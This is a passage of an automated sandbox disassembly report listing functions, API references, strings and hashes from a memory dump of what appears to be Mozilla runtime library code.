ProfileBuffer parse error: %s, xrefs: 6CDF2E3B
(root), xrefs: 6CDF354F

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 004d11687c14b85f06cd835bc0e86361916729f33f01966fe0d057ba356fc75f
Instruction ID: 7ff3c3cd7dbf331b29da0f7766d7b548346ef2bb668a7930aa5ad6af44e2b0b4
Opcode Fuzzy Hash: 004d11687c14b85f06cd835bc0e86361916729f33f01966fe0d057ba356fc75f
Instruction Fuzzy Hash: F691AF706087808FC724DF24C49569EB7F1BF89358F11491DE9AA8B760DB34D94ACBA2

Function 6CDCC0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CDCD4BB
0123456789abcdef, xrefs: 6CDCC317

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: ae12af2f0648a9550df290851d05a306421e8665078164cf574a31cb756dc2ec
Instruction ID: f60b601a70ba1ae9b5b6e57eef0a01a7d7a9142656d300a28cd22fce570139d8
Opcode Fuzzy Hash: ae12af2f0648a9550df290851d05a306421e8665078164cf574a31cb756dc2ec
Instruction Fuzzy Hash: 9E52AC70749341CFD724CF18C85076AB7FAABC6318F24891EEAD687BA1D73598468B43

Function 6CE09E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CE09F3D
__aulldiv.LIBCMT ref: 6CE09F77
__aullrem.LIBCMT ref: 6CE09F8C
__aulldiv.LIBCMT ref: 6CE0A023

Strings

NaN, xrefs: 6CE09EAB
-Infinity, xrefs: 6CE09E60, 6CE09E7B

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 76d637b06fd2ac69dc3f7d2914700a66904c917e93bd058228784d2aa8eebda6
Instruction ID: b2d2d8e76b7cb1f2fc1d1119b28507ba23ac4da893682bce2a344bf8b7c1490e
Opcode Fuzzy Hash: 76d637b06fd2ac69dc3f7d2914700a66904c917e93bd058228784d2aa8eebda6
Instruction Fuzzy Hash: A0C1BE71F443198BDB14CFA8C8907AEB7B6EB84308F24452DD406ABB80D770A95ACBD1

Function 6CDAD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6CDADE7F
, xrefs: 6CDADA88
@, xrefs: 6CDADAF6
1, xrefs: 6CDADBDD
0, xrefs: 6CDAD852
0, xrefs: 6CDADC7F
8, xrefs: 6CDADC08
-, xrefs: 6CDAD7DD

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: da3da0dbca886a88ab1d3dfcafc944c0d24f23cc0933730ef37009181a82c8a2
Instruction ID: 4f5c0180aa44369493fc5a52426267d528c1ee411e38e7e86667d7f077b82e37
Opcode Fuzzy Hash: da3da0dbca886a88ab1d3dfcafc944c0d24f23cc0933730ef37009181a82c8a2
Instruction Fuzzy Hash: 3B628C7150D385CFD705CFA8C09075ABBF2AF86358F184A1DE8E54BAA1D335D986CB82

Function 6CDB9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6CDBA625
1, xrefs: 6CDBA824
0, xrefs: 6CDBA100
0, xrefs: 6CDBAB22
' , xrefs: 6CDBA3D8
9, xrefs: 6CDBA5D6

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 3e9fc7dd85bf08c21bef956e14c894683bef419821996373f34642c45567dfd2
Instruction ID: ec48163484ba67a3f23e4ad723131676e4174ee12682f2858f67d5dd394b1047
Opcode Fuzzy Hash: 3e9fc7dd85bf08c21bef956e14c894683bef419821996373f34642c45567dfd2
Instruction Fuzzy Hash: 5282C1F1909311DBD711CF09C08026EB7F1EB85758F55892EE8DF67AA4D335A886CB82

Function 6CDABEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CDAC1CB
__aulldiv.LIBCMT ref: 6CDAC24C
__aulldiv.LIBCMT ref: 6CDAC348
__aullrem.LIBCMT ref: 6CDAC365
__aulldiv.LIBCMT ref: 6CDAC37D

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: b503af756305cea8d2a9af4e5ca61d816d69545b2c442910d708c74ee7378014
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: AA322532B046118FC718DF6CC890656BBE6AFC9320F09866DE895CB3A5D735ED06CB91

Function 6CE1545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CE18A4B

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 53537617a057394c9698db4543330c04f1cc800360f2bba9646c7dae838dd0fc
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 8AB10A72E0521A8FDB24CF68CC907E9B7B2EF85314F2902A9C449DBB81D7309995CB91

Function 6CE1542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CE188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CE1925C

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 44540f300689ecb5c3a2abeca767fd9f37eaae240c913bf75f1fab5e1334f786
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: B1B1C672E0520A8BDB24CF58CC816EDB7B2AF85314F290279C549DBB85D730A999CB90

Function 6CE150C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE18E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CE1925C

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 2acd5218b8f22ead3ad730e161be2dacf628ab25dfb0cb396f54831e68567100
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 79A1D872E052168FCB14CF58CC8079DB7B2AF95314F2502BAC949DBB45D730A999CB90

Function 6CDF77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDF7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CDF7A93

Part of subcall function 6CDC5C50: GetTickCount64.KERNEL32 ref: 6CDC5D40
Part of subcall function 6CDC5C50: EnterCriticalSection.KERNEL32(6CE2F688), ref: 6CDC5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CDF7AA1

Part of subcall function 6CDC5C50: __aulldiv.LIBCMT ref: 6CDC5DB4
Part of subcall function 6CDC5C50: LeaveCriticalSection.KERNEL32(6CE2F688), ref: 6CDC5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CDF7B31

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 77fd5c92cd2e48e252912a1811e36e6540d47fa2624f070ed9d427cba6a52369
Instruction ID: aec2a54725a6983536446a8c1ce604a253dd3776de7cc57a5675e400001f7f7b
Opcode Fuzzy Hash: 77fd5c92cd2e48e252912a1811e36e6540d47fa2624f070ed9d427cba6a52369
Instruction Fuzzy Hash: 07B16E356083849BCB15CF24C4506AFB7E2BBC5318F174A1CE9A5677A1D770E90BCB92

Function 6CDC8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CDC97EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDC9813, 6CDC985D, 6CDC9878, 6CDC9CEB

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 532648b4276126f6c06102c83ca94f609157e3818854cc1cc6fbb2a7997ed8a7
Instruction ID: d1f43e81d5bfb35f86370368af29b34e4daa0bc3bea96d4797c1b427b2221cfb
Opcode Fuzzy Hash: 532648b4276126f6c06102c83ca94f609157e3818854cc1cc6fbb2a7997ed8a7
Instruction Fuzzy Hash: 82D26B71B15601CFD718CF18C590715FBE6BF85328B29C76DE8AA8B6A5C731E841CB82

Function 6CDE6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CDE6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDE6E1E

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: b62eadedda93f12d7350d20c7b8a0ca21aaf3459ce0b164b6c5a7f5ce2da00d3
Instruction ID: ef147ff4bab763e0160a9e65ec33a098a5eaeee896a386d8de5966fcce08546d
Opcode Fuzzy Hash: b62eadedda93f12d7350d20c7b8a0ca21aaf3459ce0b164b6c5a7f5ce2da00d3
Instruction Fuzzy Hash: 28A17C706183849FC715CF24C490BAEBBF2BF88308F45495DE98A87761DB70E949CB92

Function 6CE0B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6CDDFE3F), ref: 6CE0B720
RtlNtStatusToDosError.NTDLL ref: 6CE0B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6CDDFE3F), ref: 6CE0B760

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 09dc9d04c26e7d606c4b1751cd667debc971d8d4bafdc8cb1c3e9dbf3a61f2c7
Instruction ID: bbee41f5daad9bb75666a4dd16627a636f078186a9dcdc316f697c57d237f666
Opcode Fuzzy Hash: 09dc9d04c26e7d606c4b1751cd667debc971d8d4bafdc8cb1c3e9dbf3a61f2c7
Instruction Fuzzy Hash: 9BF0D171F44308AADF049AA08C80BEE73B8EB0432EF241239D101A56C0C77499A8C6A0

Function 6CDC4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CDC4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDC5585, 6CDC55A8, 6CDC55C3, 6CDC5624

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 79a370b0ecf322324af175295c049cd204b6a6cdd36c207d83ff523b31738c2d
Instruction ID: bf94e197471ccdb2f0e2264ddbcb643fd2f99a1b0a0340c116f4f9454e83dc90
Opcode Fuzzy Hash: 79a370b0ecf322324af175295c049cd204b6a6cdd36c207d83ff523b31738c2d
Instruction Fuzzy Hash: C1B27C71B15601CFD308CF18C590625FBE6BFC5328B29C7ADE4698B6A5D771E841CB82

Function 6CE085F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE08C7C
__aulldiv.LIBCMT ref: 6CE08DD7

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 826fcb6b5b13ff1c113fa98d6b839c26d7060d3af4138bba846ab5fcb0b2516a
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 85327031F011198BDF18CE9CC8A17AEB7B6FB88300F26853AD506BB794DA349D558BD1

Function 6CE0B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CDB03D4,?), ref: 6CE0B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6CE0B9A5

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 2cb1607d679553f998fa3f4a5e942318328d5d4f359eb86429fef65588d22454
Instruction ID: a2be234fe63392549c3f23e474e6b6fd88fbe0876d5cdb4d3de990f082fce6ec
Opcode Fuzzy Hash: 2cb1607d679553f998fa3f4a5e942318328d5d4f359eb86429fef65588d22454
Instruction Fuzzy Hash: 4C41A371F012199FDF04CFA9D881ADEB7BAFF88318F24812AE415A7754DB30A8558BD0

Function 6CDE5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CDB4A63,?,?), ref: 6CDE5F06

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 848c937f6c2807437b1a320425009ec484c335cd37859f784df13c159d99daee
Instruction ID: 8d7697230a152490b746fc6ac0f39867b0035978f953a7dc719b98360bddb6c8
Opcode Fuzzy Hash: 848c937f6c2807437b1a320425009ec484c335cd37859f784df13c159d99daee
Instruction Fuzzy Hash: 36C1C275E01209CBCB04CF99C5906EEBBF2FF8A358F28415DD8556BB55E732A806CB90

Function 6CDADFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed2244fd1559357b07d27f62700a0535a3853e1c5ce447579e26acc3d571f411
Instruction ID: f8e55848d3e4017815409474be3b96ed72637395b05e21774756a2d78cf54ab8
Opcode Fuzzy Hash: ed2244fd1559357b07d27f62700a0535a3853e1c5ce447579e26acc3d571f411
Instruction Fuzzy Hash: 3942A172A187508BD308CE7CC49135AF3E2BFC9354F194B2DE999A7BA0D734D9528B81

Function 6CE176E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: b2e5ef827dc46edf9deeb58cb4378a336f923be99645e4bb71b489d2cf25265c
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 9B322A71E046198FCB14CF98C890AADFBF2FF89308F648169C549A7B45D731A996CF90

Function 6CE16E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: f118d42c193ff11ff19eb4dddc0e8ef7134d1344a5cb483d613dc8bd50811335
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 84220871E042198FCB14CF98C880A9DF7F6FF89308F6581A9C949A7B45D730A996CF90

Function 6CDD0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
